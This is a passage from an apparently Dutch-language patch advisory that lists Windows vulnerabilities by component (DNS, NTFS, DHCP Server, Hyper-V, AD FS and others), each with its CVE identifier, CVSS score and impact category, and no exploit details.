|\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows 